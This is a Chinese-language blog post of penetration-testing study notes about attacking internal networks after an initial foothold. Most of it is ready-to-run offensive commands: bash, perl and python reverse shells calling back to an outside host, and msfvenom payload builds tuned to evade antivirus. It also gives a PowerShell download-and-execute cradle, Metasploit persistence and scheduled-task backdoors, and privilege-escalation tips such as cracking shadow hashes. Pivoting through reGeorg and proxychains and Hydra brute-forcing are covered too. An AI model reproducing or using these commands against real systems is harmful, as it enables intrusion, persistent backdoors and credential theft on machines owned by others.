內網滲透思路整理與工具使用

FLy_鵬程萬里發表於2018-06-09


前言


上個學期一直在學審計,前幾天ST2漏洞大火,隨便打一個就是root許可權,我卻拿著root許可權不知如何繼續進行。因為這個,發現了自己對滲透知識的缺失,因此用了兩週左右的時間學習補充了一下內網滲透的知識,看了不少大牛的文章,膜拜之餘還是做了一些筆記的。到滲透入門結束之餘,打算自己整理一下最近學習到的關於滲透的知識,寫一篇文章。

回過頭看滲透,在機械流程的前提下,什麼情況下使用什麼工具,做出什麼反應的適應性思路更為重要。一次大快人心的滲透過程與紮實的基礎知識和熟練的工具使用是分不開的。

滲透初探


一個概念

正向shell:攻擊者連線被攻擊者機器,可用於攻擊者處於內網,被攻擊者處於公網的情況。

攻擊者–>被攻擊者

反向shell:被攻擊者主動連線攻擊者,可用於攻擊者處於外網,被攻擊者處於內網的情況。

攻擊者<–被攻擊者

msf shell

反向shell

正向shell

Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell

Windows:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=121.196.209.139 LPORT=4444 -f exe > abc.exe

Android:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > /root/apk.apk

其他的各種各樣的姿勢的反彈shell:

bash:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用SSH通道:

Ssh -qTfnN -L port:host:hostport -l user remote_ip 正向隧道,監聽本地port
Ssh -qTfnN -R port:host:hostport -l user remote_ip 反向隧道,用於內網穿透防火牆限制之類
Ssh -qTfnN -D port remotehost 直接進行socks代理

引數:

-q 安靜模式
-T 不佔用shell
-f 後臺執行,推薦加-n引數
-N 不執行遠端命令

SSH埠轉發:

Ssh -CfNg -L port1:127.0.0.1:port2 user@host 本地轉發
Ssh -CfNg -R port2:127.0.0.1:port1 user@hsst 遠端轉發

拿到shell後的兩個方向


如果是低許可權的機器,就提權:

檢查作業系統發行版本:lsb_release -a

http://p5.qhimg.com/t01237edabcd62fd7e1.png

依據系統的核心,尋找對應的exp提權:

根據核心尋找exp的網站: https://www.kernel-exploits.com/   ,也可以用kali下的searchsploit命令

http://p8.qhimg.com/t0125efa66a502c1054.png

如果嘗試的所有的exp都失敗了,可以試一試新版本核心的exp。但是注意,核心exp提權有崩潰系統的風險。

一些其他的辦法:

利用SUID提權

1. SUID是一種屬性,他允許使用者執行的檔案以該檔案的擁有者身份執行。3.81的nmap中可以使用互動模式以root執行任意系統命令。

2. 環境變數劫持的方法提權

3. Passwd檔案是否可寫,可寫則修改密碼登入

http://p9.qhimg.com/t0131e80d7dae3e1e51.png

4. Shadow是否可讀,可讀則使用hashcat或john暴力破解

http://p6.qhimg.com/t018073bf96d61ae936.png

5. 使用web端的一些密碼測試root密碼是否相同

6. 使用命令 ls -l /etc/cron* 檢視計劃任務,也許會有指令碼使自己成為root使用者

http://p0.qhimg.com/t01e17e0b590fc84466.png

使用命令 netstat -antup檢視服務,有沒有什麼神奇的服務,可以用nc轉發出來。

http://p3.qhimg.com/t0122e87d4740485c95.png

相關工具:https://www.securitysift.com/download/linuxprivchecker.py   詳細地列出網路卡資訊,主機資訊,passwd檔案,開啟服務等等資訊。

提權的方法複雜而多樣,主要的手段還是第一種的使用exp提權。在嘗試所有的提權方法之後依然不能成功,那麼可以使用這臺主機作為跳板進行內網的進一步滲透。

後門


拿下一個shell容易,但是對方伺服器重啟,web漏洞被補上,木馬被刪除,還能有辦法保留住shell麼?這裡提供了幾種持續後門的方法。

Msf的持續後門

Persistence: run persistence -h:用於建立啟動項啟動,會建立登錄檔,建立檔案。(X86_Linux不支援此指令碼)

Run metsvc -h :用於建立服務,會建立meterpreter服務,並上傳三個檔案,容易被殺(我的msf版本不支援)使用-r引數可以解除安裝服務

Mof_ps_persist

Msf自動執行指令碼

Autorunscript,一個十分強大的指令碼,可以在生成會話的同事,執行指定的操作。可以通過autorunscript呼叫的指令碼有6個,目錄metasploit/scripts/meterpreter,有螢幕截圖,獲取環境變數等等。

使用persistence和autorunscript留後門的方法是:

Use explit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set lhost ***
Set lport ***
Set ExitOnSession false
Set AutoRunScript persistence -r *** -p 7231 -U -X -I 30
Exploit -j -z

繞過攔截的計劃任務:

構造建立計劃任務:schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小時執行一次

https://i.iter01.com/images/d2887978f9413dcbf5a91962fb19716e19d904f391656fe00b78f646ac1c6bd5.jpg

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://a.com/1.ps1’);” 儲存以上命令到1.ps一,通過IEX下載執行。

https://i.iter01.com/images/3f8ec8bf3c6514b603afe0fca7ce0aa2aaa7ac098047f6a317eb0adf6027adb2.jpg

https://i.iter01.com/images/3fd380b77a75b2f0fb5fa5675526dcd0ca7834973fda51ef04bf9d4ddec3f813.jpg

本機測試時360第二種報毒,第一種通過。

網路分析


檢視本機網路資訊

ipconfig

使用代理探測內網

正向代理:Regeorg + proxychains (win下用proxycap)

Regeorg: https://github.com/sensepost/reGeorg

https://i.iter01.com/images/3aafba873ae15759f8e4c63b294ed900756f92f006478d2a9b94a537001aad03.png

上傳伺服器可執行的tunnel檔案,在本機執行:

python reGeorgSocksProxy.py -p 2333 -u http://aaaaaa.com/tunnel.php

Proxychains: https://github.com/rofl0r/proxychains-ng

https://i.iter01.com/images/2b2e20e0be736a822e8507e6580dacd8e7981afaff0da43ac3bc259046b65dc9.png

配置檔案

vim /etc/proxychains.conf

在最後一行新增socks5 127.0.0.1 2333(與regeorg埠相同)

使用時,在執行的命令前加proxhchains 4, 比如:proxychains 4 nmap -sT -Pn -n 127.0.0.1

反向代理:路由表+socks4a+proxychains

在msf中如果拿到一個meterpreter shell,有一個很簡單的新增路由表的方法:run autoroute -s 192.168.122.0/24,新增完路由表後,msf框架就可以使用跳板進行對192.168.122.0/24的網路訪問了。

若要使用nmap一類的工具,需要使用msf框架中的socks4a工具代理,目錄:auxiliary/server/socks4a

https://i.iter01.com/images/e52e89fef4bda29787d0e8a6302bd4380b2592d8635b45567202d9412c691544.png

開啟socks4a後可以用netstat -antp | grep 1080來檢查一下是否成功。

https://i.iter01.com/images/6fb8f9e2e9a469bbbf82d2639d0784624729307951e28eba1bef59e20169c018.png

Proxychains 不支援ICMP協議,nmap要加-sT 和 -Pn 引數。

使用nmap探測內網服務

如果只探測服務,則檢視hosts,掃描特定的服務。

如果為了探測整個內網,則全網段掃描。

通過跳板對內網爆破

kali工具包中的Hydra可以爆破SSH。

https://i.iter01.com/images/0336b758012384ae366075a24d3c604a5092b0c26e3a31ba4be717bbc9e40fee.png

通過跳板轉發埠

使用msf的portfwd工具可以轉發內網ip的埠。

https://i.iter01.com/images/ce1dca0d1534d88dd0c9ebe78f77649bbb819799d81b6bb32065a82512a7b8ef.png

https://i.iter01.com/images/67b72d113b076cdadb81ec1191449cf72eb258fa38c931673ca5d7f4b4347a0b.png

關注的兩個點:

尋找交換機路由器,嘗試snmp弱口令。關於snmp的知識:http://wooyun.jozxing.cc/static/drops/tips-409.html

通過收集到的資訊,編寫字典,對ftp,ssh,dbserver進行爆破。

對內網的web服務進行攻擊,內網的web弱口令更普遍。

為擴大控制範圍,優先控制交換機路由器等網路裝置。

分析網路


假設控制路由器,通過路由器收集以下資訊:

1. 裝置配置

2. 檢視相關許可權與exp提權

3. 檢視版本資訊

4. 檢視ip地址

5. 活動主機

6. 構建拓撲圖

之後可以通過流量監控獲取更多資料,進行深入的滲透。後面的內容我就沒有學習了,筆記戛然而止!

參考文章


https://www.waitalone.cn/linux-shell-rebound-under-way.html

http://www.tuicool.com/articles/j2eayaF

http://wooyun.jozxing.cc/static/drops/tips-16116.html

https://www.secpulse.com/archives/51092.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-097180.html

本文轉自 安全客。

原文地址:http://bobao.360.cn/learning/detail/3683.html


相關文章